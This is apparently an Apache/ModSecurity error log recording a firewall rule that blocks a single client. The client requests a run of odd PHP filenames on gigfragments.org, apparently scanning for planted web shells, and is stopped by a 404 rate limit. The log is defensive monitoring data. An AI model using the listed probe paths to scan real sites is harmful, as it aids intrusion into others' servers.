[Sun Jan 04 22:13:52.448187 2026] [:error] [pid 37165:tid 37207] [client 4.241.234.12:15519] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gib.php"] [unique_id "aVp1oFwRLzfe8wOrQpRjwAAAAkg"]
[Sun Jan 04 22:13:52.748544 2026] [:error] [pid 37165:tid 37219] [client 4.241.234.12:15465] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gib.php"] [unique_id "aVp1oFwRLzfe8wOrQpRjwQAAAlQ"]
[Sun Jan 04 22:13:53.068823 2026] [:error] [pid 42666:tid 42709] [client 4.241.234.12:17419] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gib.php"] [unique_id "aVp1ofc221c7vwWrOjcU6wAAAww"]
[Sun Jan 04 22:13:53.364872 2026] [:error] [pid 43583:tid 43592] [client 4.241.234.12:15564] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hob.php"] [unique_id "aVp1oeZbrSRUiJ-RX9ZCTwAAAUM"]
[Sun Jan 04 22:13:53.801536 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:15613] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hob.php"] [unique_id "aVp1oeZbrSRUiJ-RX9ZCUAAAAUo"]
[Sun Jan 04 22:13:54.248985 2026] [:error] [pid 45949:tid 45959] [client 4.241.234.12:15366] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hob.php"] [unique_id "aVp1oqWUhIYCdxgkhpBP0AAAAgU"]
[Sun Jan 04 22:13:54.605098 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:15521] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hob.php"] [unique_id "aVp1ouZbrSRUiJ-RX9ZCUQAAAUo"]
[Sun Jan 04 22:13:54.904072 2026] [:error] [pid 45949:tid 45959] [client 4.241.234.12:17446] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/poj.php"] [unique_id "aVp1oqWUhIYCdxgkhpBP0QAAAgU"]
[Sun Jan 04 22:13:55.149798 2026] [:error] [pid 43467:tid 43471] [client 4.241.234.12:15544] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/poj.php"] [unique_id "aVp1oynfieJppNajUV1S3AAAAII"]
[Sun Jan 04 22:13:55.475976 2026] [:error] [pid 37165:tid 37207] [client 4.241.234.12:17447] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/poj.php"] [unique_id "aVp1o1wRLzfe8wOrQpRjxwAAAkg"]
[Sun Jan 04 22:13:55.874130 2026] [:error] [pid 37165:tid 37210] [client 4.241.234.12:15488] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/poj.php"] [unique_id "aVp1o1wRLzfe8wOrQpRjyQAAAks"]
[Sun Jan 04 22:13:56.217307 2026] [:error] [pid 43583:tid 43596] [client 4.241.234.12:15471] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/show/asa.php"] [unique_id "aVp1pOZbrSRUiJ-RX9ZCUwAAAUc"]
[Sun Jan 04 22:13:56.464810 2026] [:error] [pid 43583:tid 43592] [client 4.241.234.12:15440] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/show/asa.php"] [unique_id "aVp1pOZbrSRUiJ-RX9ZCVQAAAUM"]
[Sun Jan 04 22:13:56.783340 2026] [:error] [pid 43583:tid 43592] [client 4.241.234.12:15517] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/show/asa.php"] [unique_id "aVp1pOZbrSRUiJ-RX9ZCVwAAAUM"]
[Sun Jan 04 22:13:57.117044 2026] [:error] [pid 37165:tid 37215] [client 4.241.234.12:15451] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/show/asa.php"] [unique_id "aVp1pVwRLzfe8wOrQpRjzQAAAlA"]
[Sun Jan 04 22:13:57.378169 2026] [:error] [pid 45949:tid 45955] [client 4.241.234.12:15534] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.an5.php"] [unique_id "aVp1paWUhIYCdxgkhpBP1QAAAgE"]
[Sun Jan 04 22:13:57.669425 2026] [:error] [pid 45949:tid 45959] [client 4.241.234.12:15494] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.an5.php"] [unique_id "aVp1paWUhIYCdxgkhpBP1gAAAgU"]
[Sun Jan 04 22:14:16.925185 2026] [:error] [pid 37165:tid 37209] [client 4.241.234.12:15528] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aVp1uFwRLzfe8wOrQpRj6gAAAko"]
[Sun Jan 04 22:14:17.213469 2026] [:error] [pid 30985:tid 31033] [client 4.241.234.12:15445] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aVp1uUisiM0XfzVcTWC0bwAAAdM"]
[Sun Jan 04 22:14:17.517804 2026] [:error] [pid 45949:tid 45956] [client 4.241.234.12:15432] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aVp1uaWUhIYCdxgkhpBP4wAAAgI"]
[Sun Jan 04 22:14:18.077918 2026] [:error] [pid 48727:tid 48761] [client 4.241.234.12:15491] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aVp1uvgJtUs-E_QT0ibZlQAAA0Q"]
[Sun Jan 04 22:14:18.406325 2026] [:error] [pid 48633:tid 48655] [client 4.241.234.12:15510] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sec.php"] [unique_id "aVp1unpmEoQIuLH2aWhH9AAAAFQ"]
[Sun Jan 04 22:14:18.745098 2026] [:error] [pid 48727:tid 48771] [client 4.241.234.12:15575] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sec.php"] [unique_id "aVp1uvgJtUs-E_QT0ibZlwAAA04"]
[Sun Jan 04 22:14:19.051913 2026] [:error] [pid 43583:tid 43590] [client 4.241.234.12:15541] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sec.php"] [unique_id "aVp1u-ZbrSRUiJ-RX9ZCYQAAAUE"]
[Sun Jan 04 22:14:19.348707 2026] [:error] [pid 45863:tid 45869] [client 4.241.234.12:15473] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sec.php"] [unique_id "aVp1u1Gr1mgeue1bWvTYAAAAAAQ"]
[Sun Jan 04 22:14:19.790265 2026] [:error] [pid 45950:tid 45985] [client 4.241.234.12:15459] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gul.php"] [unique_id "aVp1u1x-3HUGZIlAI-5RqgAAA4M"]
[Sun Jan 04 22:14:20.212249 2026] [:error] [pid 48728:tid 48806] [client 4.241.234.12:15483] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gul.php"] [unique_id "aVp1vJF4chjDNwRpCDSPQQAAA9Y"]
[Sun Jan 04 22:14:20.668898 2026] [:error] [pid 48727:tid 48779] [client 4.241.234.12:15436] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gul.php"] [unique_id "aVp1vPgJtUs-E_QT0ibZnAAAA1Y"]
[Sun Jan 04 22:14:20.991299 2026] [:error] [pid 48727:tid 48777] [client 4.241.234.12:15387] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gul.php"] [unique_id "aVp1vPgJtUs-E_QT0ibZngAAA1Q"]
[Sun Jan 04 22:14:21.375470 2026] [:error] [pid 48727:tid 48757] [client 4.241.234.12:15360] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1a.php"] [unique_id "aVp1vfgJtUs-E_QT0ibZnwAAA0A"]
[Sun Jan 04 22:14:21.860287 2026] [:error] [pid 42666:tid 42715] [client 4.241.234.12:15525] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1a.php"] [unique_id "aVp1vfc221c7vwWrOjcU9wAAAxI"]
[Sun Jan 04 22:14:22.271505 2026] [:error] [pid 45949:tid 45957] [client 4.241.234.12:15572] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1a.php"] [unique_id "aVp1vqWUhIYCdxgkhpBP5QAAAgM"]
[Sun Jan 04 22:14:22.565981 2026] [:error] [pid 48727:tid 48766] [client 4.241.234.12:15604] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1a.php"] [unique_id "aVp1vvgJtUs-E_QT0ibZowAAA0k"]
[Sun Jan 04 22:14:22.857713 2026] [:error] [pid 48633:tid 48659] [client 4.241.234.12:15480] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nbr.php"] [unique_id "aVp1vnpmEoQIuLH2aWhH9wAAAFg"]
[Sun Jan 04 22:14:23.181473 2026] [:error] [pid 48667:tid 48705] [client 4.241.234.12:15549] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nbr.php"] [unique_id "aVp1v3O6aihVIlrNAPj36wAAAQg"]
[Sun Jan 04 22:14:23.560184 2026] [:error] [pid 45863:tid 45878] [client 4.241.234.12:17531] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nbr.php"] [unique_id "aVp1v1Gr1mgeue1bWvTYAQAAAA0"]
[Sun Jan 04 22:14:23.903037 2026] [:error] [pid 48727:tid 48768] [client 4.241.234.12:15361] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nbr.php"] [unique_id "aVp1v_gJtUs-E_QT0ibZpQAAA0s"]
[Sun Jan 04 22:14:24.201790 2026] [:error] [pid 48633:tid 48640] [client 4.241.234.12:15540] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2index.php"] [unique_id "aVp1wHpmEoQIuLH2aWhH-AAAAEU"]
[Sun Jan 04 22:14:24.467440 2026] [:error] [pid 29351:tid 29403] [client 4.241.234.12:15476] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2index.php"] [unique_id "aVp1wJtGiMsRmNcKXvpHRAAAAtM"]
[Sun Jan 04 22:14:24.981060 2026] [:error] [pid 45863:tid 45884] [client 4.241.234.12:15530] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2index.php"] [unique_id "aVp1wFGr1mgeue1bWvTYBAAAABM"]
[Sun Jan 04 22:14:25.272395 2026] [:error] [pid 48727:tid 48780] [client 4.241.234.12:15448] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2index.php"] [unique_id "aVp1wfgJtUs-E_QT0ibZpwAAA1c"]
[Sun Jan 04 22:14:25.749655 2026] [:error] [pid 45863:tid 45868] [client 4.241.234.12:17449] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aVp1wVGr1mgeue1bWvTYBQAAAAM"]
[Sun Jan 04 22:14:26.040425 2026] [:error] [pid 48727:tid 48776] [client 4.241.234.12:15323] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aVp1wvgJtUs-E_QT0ibZqAAAA1M"]
[Sun Jan 04 22:14:26.607967 2026] [:error] [pid 30985:tid 31015] [client 4.241.234.12:15429] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aVp1wkisiM0XfzVcTWC0cwAAAcE"]
[Sun Jan 04 22:14:26.925865 2026] [:error] [pid 42666:tid 42710] [client 4.241.234.12:15507] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aVp1wvc221c7vwWrOjcU_gAAAw0"]
[Sun Jan 04 22:14:27.252471 2026] [:error] [pid 45863:tid 45880] [client 4.241.234.12:15478] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh77.php"] [unique_id "aVp1w1Gr1mgeue1bWvTYBwAAAA8"]
[Sun Jan 04 22:14:27.593604 2026] [:error] [pid 29351:tid 29397] [client 4.241.234.12:15454] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh77.php"] [unique_id "aVp1w5tGiMsRmNcKXvpHRgAAAs0"]
[Sun Jan 04 22:14:27.915976 2026] [:error] [pid 42666:tid 42708] [client 4.241.234.12:15439] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh77.php"] [unique_id "aVp1w_c221c7vwWrOjcVAQAAAws"]
[Sun Jan 04 22:14:28.265208 2026] [:error] [pid 42666:tid 42716] [client 4.241.234.12:15425] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh77.php"] [unique_id "aVp1xPc221c7vwWrOjcVAwAAAxM"]
[Sun Jan 04 22:14:28.627919 2026] [:error] [pid 48727:tid 48773] [client 4.241.234.12:15484] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "aVp1xPgJtUs-E_QT0ibZrQAAA1A"]
[Sun Jan 04 22:14:28.933817 2026] [:error] [pid 48727:tid 48770] [client 4.241.234.12:17483] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "aVp1xPgJtUs-E_QT0ibZrgAAA00"]
[Sun Jan 04 22:14:29.221623 2026] [:error] [pid 48728:tid 48795] [client 4.241.234.12:15426] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "aVp1xZF4chjDNwRpCDSPRgAAA8s"]
[Sun Jan 04 22:14:29.555376 2026] [:error] [pid 48727:tid 48766] [client 4.241.234.12:15371] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "aVp1xfgJtUs-E_QT0ibZsgAAA0k"]
[Sun Jan 04 22:14:29.902682 2026] [:error] [pid 48633:tid 48642] [client 4.241.234.12:15398] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sow.php"] [unique_id "aVp1xXpmEoQIuLH2aWhH-gAAAEc"]
[Sun Jan 04 22:14:30.240136 2026] [:error] [pid 42666:tid 42702] [client 4.241.234.12:15505] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sow.php"] [unique_id "aVp1xvc221c7vwWrOjcVBAAAAwU"]
[Sun Jan 04 22:14:30.589939 2026] [:error] [pid 48727:tid 48772] [client 4.241.234.12:15443] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sow.php"] [unique_id "aVp1xvgJtUs-E_QT0ibZtQAAA08"]
[Sun Jan 04 22:14:31.004565 2026] [:error] [pid 48728:tid 48792] [client 4.241.234.12:15467] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sow.php"] [unique_id "aVp1x5F4chjDNwRpCDSPSQAAA8g"]
